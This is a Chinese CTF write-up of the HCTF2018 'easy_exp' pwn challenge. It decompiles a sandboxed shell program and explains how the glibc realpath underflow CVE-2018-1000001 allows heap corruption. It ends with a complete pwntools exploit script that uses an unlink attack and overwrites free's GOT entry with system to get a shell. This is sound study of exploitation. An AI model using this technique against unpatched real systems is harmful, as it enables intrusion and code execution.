easy_exp
前些天参加了HCTF2018的线上赛,一如既往的被大佬们吊打。赛后结合大佬的讲解发现这道题就是unlink结合了一个cve漏洞,正巧最近刚学习了有关Unlink的技巧,于是把这道题研究复现了一下。
首先题目给了两个文件,easyexp和libc-2.23.so。
运行程序,看到是一个仿真的环境,给了ls,mkdir,mkfile,cat命令。
查看一下程序的保护:
发现开启了NX和Canary。
程序逻辑分析
用ida静态分析一波代码:
init:
v18 = *MK_FP(__FS__, 40LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
v0 = malloc(0x100000uLL);
dword_6032C0 = clone((int (*)(void *))fn, (char *)v0 + 0x100000, 268566545, 0LL);
if ( dword_6032C0 == -1 )
{
puts("error!");
exit(-1);
}
unsigned int __fastcall fn(void *arg)
{
while ( geteuid() )
sched_yield();
if ( mount("tmpfs", "/tmp", "tmpfs", 0xC0ED0000uLL, 0LL) )
exit(-1);
if ( chdir("/tmp") )
exit(-1);
return sleep(0xF4240u);
}
这里clone了一个子进程,子进程执行的fn用mount挂载了临时文件系统到/tmp,然后用chdir更改到对应目录下。
snprintf(&s, 0x1000uLL, "/proc/%d/cwd", (unsigned int)dword_6032C0);
root_path = strdup(&s);
sprintf(&file, "/proc/%d/setgroups", (unsigned int)dword_6032C0);
fd = open(&file, 1);
v2 = write(fd, "deny", 4uLL);
close(fd);
sprintf(&file, "/proc/%d/uid_map", (unsigned int)dword_6032C0);
v3 = open(&file, 1);
v4 = getuid();
sprintf(&buf, "0 %d 1\n", v4);
v5 = strlen(&buf);
v6 = write(v3, &buf, v5);
close(v3);
sprintf(&file, "/proc/%d/gid_map", (unsigned int)dword_6032C0);
v7 = open(&file, 1);
v8 = getgid();
sprintf(&buf, "0 %d 1\n", v8);
v9 = strlen(&buf);
v10 = write(v7, &buf, v9);
close(v7);
sleep(1u);
puts("tmpfs ready!");
if ( chdir(root_path) )
exit(-1);
printf("input your home's name: ", &buf);
sub_401036((__int64)src, 0x10u);
if ( strchr(src, 47) || strchr(src, 46) )
{
puts("you can't use that name,use default name [home]");
*(_DWORD *)src = 1701670760;
byte_6032B4 = 0;
mkdir("home", 0x1EDu);
}
else if ( mkdir(src, 0x1EDu) )
{
mkdir("home", 0x1EDu);
}
strcpy(dest, src);
dest[strlen(dest)] = 47;
v11 = &dest[strlen(dest)];
*(_DWORD *)v11 = 1734437990;
v11[4] = 0;
v12 = open(dest, 131521, 420LL);
write(v12, "flag{This_is_Fake}", 0x13uLL);
close(v12);
接下来修改了程序的一些/proc/$PID/信息,和cve漏洞有关。
接着要我们输入一个home名,要求不包含'.'和'/',否则就使用默认名home。并创建对应目录。
再在home下写入一个flag文件,里面内容是"flag{This_is_Fake}",并没有什么用处。
接下来看一下ls,mkdir,mkfile,cat几个命令的实现。
ls:
__int64 __fastcall fuc_ls(char *a1)
{
const char *name; // [sp+8h] [bp-28h]@1
DIR *dirp; // [sp+10h] [bp-20h]@3
struct dirent *v4; // [sp+18h] [bp-18h]@6
__int16 v5; // [sp+20h] [bp-10h]@2
__int64 v6; // [sp+28h] [bp-8h]@1
name = a1;
v6 = *MK_FP(__FS__, 40LL);
if ( !a1 )
{
v5 = 46;
name = (const char *)&v5;
}
dirp = opendir(name);
if ( !dirp )
exit(2);
while ( 1 )
{
v4 = readdir(dirp);
if ( !v4 )
break;
printf("%s ", v4->d_name);
}
closedir(dirp);
putchar(10);
return *MK_FP(__FS__, 40LL) ^ v6;
}
发现这里就是打开目录并读取,且没有什么限制,因此这里可以绕过tmpfs的沙盒,实现任意浏览目录。
mkdir:
__int64 __fastcall sub_4015BD(const char *a1)
{
__int64 v2; // [sp+0h] [bp-1040h]@0
int i; // [sp+1Ch] [bp-1024h]@1
_BYTE v4[12]; // [sp+1Ch] [bp-1024h]@2
char *ptr; // [sp+28h] [bp-1018h]@7
char path; // [sp+30h] [bp-1010h]@5
__int64 v7; // [sp+1038h] [bp-8h]@1
v7 = *MK_FP(__FS__, 40LL);
for ( i = 0; ; i = *(_DWORD *)v4 + 1 )
{
*(_QWORD *)&v4[4] = strchr(&a1[i], 47);
if ( *(_QWORD *)&v4[4] )
*(_DWORD *)v4 = *(_DWORD *)&v4[4] - (_DWORD)a1;
else
*(_QWORD *)v4 = (unsigned int)strlen(a1);
snprintf(&path, 0x1000uLL, "%s/%.*s", root_path, *(unsigned int *)v4, a1, v2);
mkdir(&path, 0x1EDu);
if ( !a1[*(signed int *)v4] )
break;
}
ptr = canonicalize_file_name(a1);
if ( !ptr )
{
puts("mkdir:create failed.");
exit(-1);
}
free(ptr);
return *MK_FP(__FS__, 40LL) ^ v7;
}
这里的实现是,首先检查文件名里的'/',找到后通过循环调用mkdir创建文件夹。之后调用canonicalize_file_name执行一个检查,检查不通过直接结束程序。
尝试后发现,即便创建一个正常目录都无法通过这个检查。
mkfile:
__int64 __fastcall fuc_mkfile(const char *a1)
{
FILE *s; // ST18_8@12
int v2; // ebx@16
int v3; // ebx@16
signed int i; // [sp+10h] [bp-1030h]@6
int fd; // [sp+14h] [bp-102Ch]@13
char buf; // [sp+20h] [bp-1020h]@16
__int64 v8; // [sp+1028h] [bp-18h]@1
v8 = *MK_FP(__FS__, 40LL);
if ( a1 )
{
if ( strstr(a1, "..") || *a1 == 47 )
{
puts("you can't go out of tmpfs");
}
else
{
for ( i = 0; i <= 2; ++i )
{
if ( !strcmp(a1, (const char *)(96LL * i + 0x60318C)) )
{
printf("write something:");
sub_401036((__int64)content[12 * i], (unsigned int)content[12 * i + 1]);
file_num = (i + 1) % 3;
return *MK_FP(__FS__, 40LL) ^ v8;
}
}
if ( content[12 * file_num] )
{
s = fopen((const char *)(96LL * file_num + 0x60318C), "w");
fwrite(content[12 * file_num], 1uLL, LODWORD(content[12 * file_num + 1]), s);
fclose(s);
free((void *)content[12 * file_num]);
}
strcpy((char *)(96LL * file_num + 0x60318C), a1);
fd = open(a1, 131521, 420LL);
if ( fd < 0 )
{
puts("mkfile:create failed.");
exit(-1);
}
printf("write something:");
sub_401036((__int64)&buf, 0x1000u);
write(fd, &buf, 0x1000uLL);
v2 = file_num;
content[12 * v2] = strdup(&buf);
v3 = file_num;
LODWORD(content[12 * v3 + 1]) = strlen(&buf);
close(fd);
file_num = (file_num + 1) % 3;
}
}
else
{
puts("Usage:mkfile [path]");
}
return *MK_FP(__FS__, 40LL) ^ v8;
}
mkfile的实现是先检查一下名称里有没有'..'和'/',检测到就会提示你别想越过沙箱。
然后生成一个结构体,大致的结构是:
struct file
{
char* content;
int size;
char[0x54] name;
}
先是一个内容指针,后面是content的size和文件名。
程序会在bss段存储最多3个这样的结构体,每次mkfile操作,会先检查一遍文件名,如果和bss段的某个文件名对应,就直接修改对应的content,不对应就会创建新的结构体。如果已经有了三个结构体,就会根据当前指针把对应的内容写进文件,然后free掉原本的content指针,并在该位置创建新的结构体。
cat
__int64 __fastcall fuc_cat(const char *a1)
{
signed int i; // [sp+14h] [bp-11Ch]@6
FILE *stream; // [sp+18h] [bp-118h]@11
char ptr; // [sp+20h] [bp-110h]@11
__int64 v5; // [sp+128h] [bp-8h]@1
v5 = *MK_FP(__FS__, 40LL);
if ( a1 )
{
if ( strstr(a1, "..") || *a1 == 47 )
{
puts("you can't go out of tmpfs");
}
else
{
for ( i = 0; i <= 2; ++i )
{
if ( !strcmp(a1, (const char *)(96LL * i + 0x60318C)) )
{
puts((const char *)content[12 * i]);
file_num = (i + 1) % 3;
return *MK_FP(__FS__, 40LL) ^ v5;
}
}
memset(&ptr, 0, 0x100uLL);
stream = fopen(a1, "r");
if ( stream )
{
fread(&ptr, 0x100uLL, 1uLL, stream);
puts(&ptr);
fclose(stream);
}
else
{
puts("No such file!");
}
}
}
else
{
puts("Usage:cat [path]");
}
return *MK_FP(__FS__, 40LL) ^ v5;
}
cat这里也进行了'..'和'/'检查,也就没法直接绕过沙箱。
后面会先去bss段找三个结构体匹配文件名,找到后直接Puts对应的content,没找到就尝试用fopen来读取文件。
利用思路
程序本身并没有找到什么漏洞。
回头看题目的hint:plz pay attention to libc version and try to load the libc which we given
提示说,这题一定要载入对应的libc。
我们查看以下libc版本:
发现是2.23-0ubuntu9。
可以在:https://launchpad.net/ubuntu/+source/glibc/2.23-0ubuntu10找到相应的changelog。
* SECURITY UPDATE: Buffer underflow in realpath()
- debian/patches/any/cvs-make-getcwd-fail-if-path-is-no-absolute.diff:
Make getcwd(3) fail if it cannot obtain an absolute path
- CVE-2018-1000001
发现,更新是修补了这个CVE-2018-1000001漏洞。
可以在:https://paper.seebug.org/528/里找到漏洞的详细说明。
大体就是引入了(unreachable)这种情况后,函数realpath() 没有考虑到对这种以‘(’开头的不可到达路径的处理,造成了溢出。
而在本题里mkdir中调用的canonicalize_file_name就封装了函数realpath()。
在canonicalize_file_name处下断点,单步追踪函数的执行。
可以看到在执行过getcwd()后,得到的结果是(unreachable)/tmp。(原因大概是当前目录不属于当前进程的根目录,和init的那段代码有关)
查看stdlib/canonicalize.c里__realpath的代码:
这里name是我们要mkdir的文件夹,dest是通过getcwd获取的(unreachable)/tmp。
可以看到这里在对以"../"开头的name处理时,默认了dest是以"/"开头的,没有考虑到以"("开头的情况,因此第一个"../"使dest一直自减,退回到“(unreachable)/”,而由于dest前面再没有"/",所以第二个“../”就会造成dest自减越界,直到匹配到下一个"/"。
后面这里会执行__mempcpy把创建的文件夹名字(去掉"../"后的)复制到dest,因此我们可以利用这一点来造成内存改写。
而后面的__lxstat64检查就是我们无法正常mkdir的原因。这个函数会根据提供的参数去获取文件的信息,假如说文件不存在的话,会返回-1,跳到error
单步执行程序,可以发现,在程序因mkdir结束前,确实是执行的这个函数:
我这里执行的命令是"mkdir test"。
这个参数来自于:
new_rpath = (char *) realloc (rpath, new_size);
由于程序执行了:
if (dest[-1] != '/')
*dest++ = '/';
......
dest = __mempcpy (dest, start, end - start);
所以这个参数的结果是:
"(unreachable)/tmp"+"/"+"test"
而假如我们执行“mkdir ../abc”,由于后面"abc"覆盖了"tmp"
结果就会是:
"(unreachable)/abc"
而假如我们执行"mkdir ../../abc",通过溢出,"abc"不知道被复制到了哪里。
结果就是:
"(unreachable)/tmp"
所以我们可以创建文件"(unreachable)/abc"或者"(unreachable)/tmp"来通过这个验证。
由于最开始的init在输入home名时,只限制了"."和"/",所以我们可以创建一个文件夹(unreachable)。
或者:
OK,现在我们已经可以利用这个溢出来改写了。
我们可以申请chunk,来构造这样一个布局:
aaa/|sizeA
aaaa|sizeB
aaaC|sizeC
利用漏洞把sizeA变大,然后重新申请这个chunk进而控制sizeB的chunk。
然后就是常规的unlink了。
1.先把content指针指向got表的free。
2.利用cat功能获得free的地址,计算出libc地址和system地址。
3.mkfile写入"/bin/sh"
4.修改free的got表指向system
5.调用free("/bin/sh")
ps:1.注意控制执行free时的文件指针指向。2.mkfile新文件时,使用了strdup,先要用'a'填充空间。
最后的脚本:
from pwn import *
p=process('./easyexp',env={'LD_PRELOAD':'./libc-2.23.so'})
libc=ELF('./libc-2.23.so')
easyexp=ELF('./easyexp')
#gdb.attach(p,"b __lxstat64")
def mkfile(name,content):
p.recvuntil("$")
p.sendline("mkfile "+str(name))
p.recvuntil("write something:")
p.sendline(content)
def cat(name):
p.recvuntil("$")
p.sendline("cat "+name)
p.recvuntil("input your home's name: ")
p.sendline('(unreachable)')
mkfile("(unreachable)/tmp","a"*0x16+"/")
mkfile('2','a'*0x27)
mkfile('3','a'*0x80)
mkfile('3',p64(0x21)*2)
p.sendline('mkdir ../../a\x41')
cat('(unreachable)/tmp') #file_ptr 1
mkfile('4','a'*0x37)
mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x90))
#file_ptr2
mkfile('5','/bin/sh')
mkfile('4','a'*0x18+p64(easyexp.got['free'])+'99')
cat('4')
free_addr=u64(p.recvuntil('\n')[1:7].ljust(8,'\0'))
libc.address=free_addr-libc.symbols['free']
sys_addr=libc.symbols['system']
print "free_addr:"+hex(free_addr)
print "libc_addr:"+hex(libc.address)
print "system_addr:"+hex(sys_addr)
mkfile('4',p64(sys_addr))
p.sendline('mkfile over')
p.interactive()
参考:
https://paper.seebug.org/528/
https://www.360zhijia.com/anquan/430290.html